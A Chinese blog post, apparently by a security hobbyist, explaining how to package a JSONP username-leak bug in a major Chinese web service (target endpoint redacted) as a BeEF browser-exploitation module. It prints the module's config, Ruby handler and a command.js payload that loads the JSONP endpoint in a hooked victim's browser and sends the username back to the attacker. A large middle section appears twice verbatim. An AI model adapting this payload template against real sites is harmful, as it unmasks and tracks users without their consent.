将挖掘出的JSONP泄漏漏洞整合进BEEF浏览器利用框架
0x00 前言
之前在█度上瞎逛的时候开着代理,顺手就找到了█度一个JSONP泄漏漏洞,能够泄漏完整用户名。
不得不说█度的安全真的烂,人家█讯跟它一个年代的,老代码照样很多,但我之前尝试了谷歌上能找到的大部分页面,各种老系统边缘业务都试过了,就只找到一个能泄漏QQ名的漏洞,而█度随便逛逛就能撞到漏洞。建议█度安全部的人自己给自己泼█宝矿泉水自裁谢罪
(本文不会贴出具体的漏洞,如果只是想看█度漏洞的可以退了)
很快,我就构建了个POC能够alert出用户名。我就开始疯狂YY能不能做一个取证溯源系统,挂一个JS就能查到各种信息。
但是我突然隐约记起来,好像有个叫做BEEF的框架已经能将各种欺负浏览器的技巧集成在它的框架里面了,仔细一看这玩意着实厉害,凭我个人无限趋近于零的水平不可能做出更好的来。所以本着不能打败敌人那就加入敌人的无耻精神,我打开BEEF开始研究如何自己写一个BEEF的插件将这个漏洞整合进去
0x01 BEEF插件编写
BEEF官方在他们的gayhub页面上给出了开发模块的方法,不过就只有这一页很多东西根本就没有讲清楚,而且用的还是本人不熟悉的ruby,在编写的时候踩了不少坑
先说下BEEF插件长啥样
BEEF的插件存在/usr/share/beef-xss/modules/exploits/baidu_account/下面的文件夹里面,每个文件夹代表了一个"category",即不同类别的模块,比如社会工程,持久化,漏洞利用,网络拓扑信息搜集之类的。说实在的,这让我联想到了MSF,同样是ruby写的,同样喜欢用文件夹把不同的模块区别开来(还有同样语焉不详的奇妙文档)。
但是不同之处在于,BEEF的每个模块又得装在这个category的子文件夹里面,比如我今天要编写的模块名字叫做baidu_account,归类在Exploits里面。那这个模块的目录就得是/usr/share/beef-xss/modules/exploits/baidu_account/。为什么是目录呢?读者可能已经猜到了,BEEF的每个模块需要多个文件。
一个标准的BEEF模块由三个文件组成
beef: module: baidu_account: enable: true category: "Exploits" name: "get Baidu account" description: "通过JSONP漏洞获取█度帐号名" authors: ["APU"] target: working: ["ALL"] 开头的beef:和module:是起手式,大部分模块的开头都是这个,这个意思是定义一个模块。西面这个需要和你模块的文件夹名字相同不然会出现莫名其妙的错误。enable定义这个模块是否被启用,我们当然选择true。category选择Exploits,在这里需要注意,category不能乱写,不能自己新建一个文件夹尝试新建一个category否则运行会失败或者无法添加模块,如果有人直到怎么新建category请告诉我。name就是模块的名字,description就是描述,authors是作者,这里是一个list(不是很熟悉ruby,不知道术语说对了没)应该是允许一个模块对应多个作者的,target是对应的浏览器,target的格式可以在刚才的链接里面看到我就不详细讲了
写完这个文件之后就要写module.rb了,我再贴上代码来
class Baidu_account < BeEF::Core::Command # This method will be called when BeEF will receive an answer from the hooked browser def post_execute content = {} content['Baidu_account'] = @datastore['Baidu_account'] save content end end 在这里我们需要定义一个类,用于后端的处理。类中可以定义三个函数,self.options,pre_send,post_execute。即参数,发送前的准备,发送后的准备。类名虽然没有具体规范,但是我看到的插件都是把文件夹名字大写作为类名。由于我这里jsonp漏洞利用主要是需要在利用之后接收参数,所以只定义post_execute。
对于BEEF,想要接收受害者上传的参数应该使用@datastore,这个@datastore储存了受害机发上来的数据,至于是怎么发的我们先不用关心,只需要知道它能从这里面取参数就可以了。取到了参数我们还需要储存,因此我们需要使用save 来储存参数。我代码中储存数据的语句是save content。这个content是之前定义的一个字典,用于接收上传的参数的
最后我们需要做的就是写我们的核心command.js了,我这里把打了码的command.js发上来
function getbaiduaccount(data) { username=data['username']; beef.net.send("<%= @command_url %>", <%= @command_id %>, "Baidu_account="+username); } beef.execute(function() { beef.dom.loadScript("█度神秘JSONP接口"); }); BEEF官方声称我们必须把payload放在beef.execute函数内来执行,但是我在这个函数之外定义callback函数也是ok的。BEEF官方提供了许多函数来支持我们的各种操作,唯一的问题就是他们的迫真文档只列出了名字,功能我们得自己猜。不过我这里蛮幸运的,用Chrome的调试一找就找到了这里的loadScript函数,这样就能用这个函数加载JSONP的接口。在callback函数中,我们需要把辛辛苦苦拿到的数据传回去,这里就要用到beef.net.send函数了
这个函数是这么调用的beef.net.send("<%= @command_url %>", <%= @command_id %>, "data");其中data就是我们要传回去的东西,其中data是个字符串,传输的数据格式跟平时URL传参没啥区别,就是“参数名1=值1&参数名2=值2....”
最后要说的坑就是首先每次打开BEEF的时候BEEF应该已经加载完了插件,你再修改也不会变除非重启BEEF。这个困扰了我很久,之前我一直调试不对,后来才发现其实不重启程序根本没有变化。还有就是之前我模块命名不规范,瞎搞了一会删掉之后WEB端还显示那个模块,那是因为/usr/share/beef-xss/db/beef.db有缓存,需要删掉才能刷新
0x02 展示图片
0x03最后再指点江山几句 最近发现一大堆人都喜欢造什么漏洞利用框架,每个界面都花里胡哨的,仔细一看无非就是调用python脚本去扫描别人统一管理,实际上并不实用。本人以为成功的漏洞利用框架首先是得研究的早,比如metasploit就抢占了先机,算是最先搞漏洞利用框架的几个,现在就发展的很好。还有就是框架之所以叫做框架除了暗示这些利用能被统一管理之外,还需要能够给模块编写者提供一些支持,帮助模块开发者完成一些重复琐碎的事项,减少模块编写者的工作量,不然只能算个漏洞利用集合不算优秀的框架。那些优秀的框架,比如metasploit的shellcode统一管理就很好,从此写二进制EXP的人就能减少很多编shellcode的工作量,进而把核心放在漏洞上。再比如今天看见的BEEF框架就能够很轻松地解决数据回传问题,不需要像https://lcx.cc/post/4595/里面从头开始写个专门收数据的后端。希望这个也能给想要编写XX框架的人一些思考
- config.yaml : 用于描述该模块相关信息的YAML文件
- module.rb :个人理解是我们控制端的“后端”文件,用于
- command.js :发给受害者执行的payload
beef: module: baidu_account: enable: true category: "Exploits" name: "get Baidu account" description: "通过JSONP漏洞获取█度帐号名" authors: ["APU"] target: working: ["ALL"] 开头的beef:和module:是起手式,大部分模块的开头都是这个,这个意思是定义一个模块。西面这个需要和你模块的文件夹名字相同不然会出现莫名其妙的错误。enable定义这个模块是否被启用,我们当然选择true。category选择Exploits,在这里需要注意,category不能乱写,不能自己新建一个文件夹尝试新建一个category否则运行会失败或者无法添加模块,如果有人直到怎么新建category请告诉我。name就是模块的名字,description就是描述,authors是作者,这里是一个list(不是很熟悉ruby,不知道术语说对了没)应该是允许一个模块对应多个作者的,target是对应的浏览器,target的格式可以在刚才的链接里面看到我就不详细讲了
写完这个文件之后就要写module.rb了,我再贴上代码来
class Baidu_account < BeEF::Core::Command # This method will be called when BeEF will receive an answer from the hooked browser def post_execute content = {} content['Baidu_account'] = @datastore['Baidu_account'] save content end end 在这里我们需要定义一个类,用于后端的处理。类中可以定义三个函数,self.options,pre_send,post_execute。即参数,发送前的准备,发送后的准备。类名虽然没有具体规范,但是我看到的插件都是把文件夹名字大写作为类名。由于我这里jsonp漏洞利用主要是需要在利用之后接收参数,所以只定义post_execute。
对于BEEF,想要接收受害者上传的参数应该使用@datastore,这个@datastore储存了受害机发上来的数据,至于是怎么发的我们先不用关心,只需要知道它能从这里面取参数就可以了。取到了参数我们还需要储存,因此我们需要使用save 来储存参数。我代码中储存数据的语句是save content。这个content是之前定义的一个字典,用于接收上传的参数的
最后我们需要做的就是写我们的核心command.js了,我这里把打了码的command.js发上来
function getbaiduaccount(data) { username=data['username']; beef.net.send("<%= @command_url %>", <%= @command_id %>, "Baidu_account="+username); } beef.execute(function() { beef.dom.loadScript("█度神秘JSONP接口"); }); BEEF官方声称我们必须把payload放在beef.execute函数内来执行,但是我在这个函数之外定义callback函数也是ok的。BEEF官方提供了许多函数来支持我们的各种操作,唯一的问题就是他们的迫真文档只列出了名字,功能我们得自己猜。不过我这里蛮幸运的,用Chrome的调试一找就找到了这里的loadScript函数,这样就能用这个函数加载JSONP的接口。在callback函数中,我们需要把辛辛苦苦拿到的数据传回去,这里就要用到beef.net.send函数了
这个函数是这么调用的beef.net.send("<%= @command_url %>", <%= @command_id %>, "data");其中data就是我们要传回去的东西,其中data是个字符串,传输的数据格式跟平时URL传参没啥区别,就是“参数名1=值1&参数名2=值2....”
最后要说的坑就是首先每次打开BEEF的时候BEEF应该已经加载完了插件,你再修改也不会变除非重启BEEF。这个困扰了我很久,之前我一直调试不对,后来才发现其实不重启程序根本没有变化。还有就是之前我模块命名不规范,瞎搞了一会删掉之后WEB端还显示那个模块,那是因为/usr/share/beef-xss/db/beef.db有缓存,需要删掉才能刷新
0x02 展示图片
0x03最后再指点江山几句 最近发现一大堆人都喜欢造什么漏洞利用框架,每个界面都花里胡哨的,仔细一看无非就是调用python脚本去扫描别人统一管理,实际上并不实用。本人以为成功的漏洞利用框架首先是得研究的早,比如metasploit就抢占了先机,算是最先搞漏洞利用框架的几个,现在就发展的很好。还有就是框架之所以叫做框架除了暗示这些利用能被统一管理之外,还需要能够给模块编写者提供一些支持,帮助模块开发者完成一些重复琐碎的事项,减少模块编写者的工作量,不然只能算个漏洞利用集合不算优秀的框架。那些优秀的框架,比如metasploit的shellcode统一管理就很好,从此写二进制EXP的人就能减少很多编shellcode的工作量,进而把核心放在漏洞上。再比如今天看见的BEEF框架就能够很轻松地解决数据回传问题,不需要像https://lcx.cc/post/4595/里面从头开始写个专门收数据的后端。希望这个也能给想要编写XX框架的人一些思考